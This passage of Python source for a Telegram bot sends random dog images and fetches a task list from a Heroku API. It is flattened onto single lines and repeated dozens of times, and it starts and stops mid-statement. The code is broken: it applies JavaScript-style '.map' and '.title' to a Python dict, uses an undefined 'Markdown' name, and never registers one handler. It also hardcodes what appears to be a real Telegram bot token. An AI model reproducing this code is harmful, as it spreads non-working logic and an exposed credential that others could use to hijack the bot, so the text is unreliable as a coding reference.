requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = 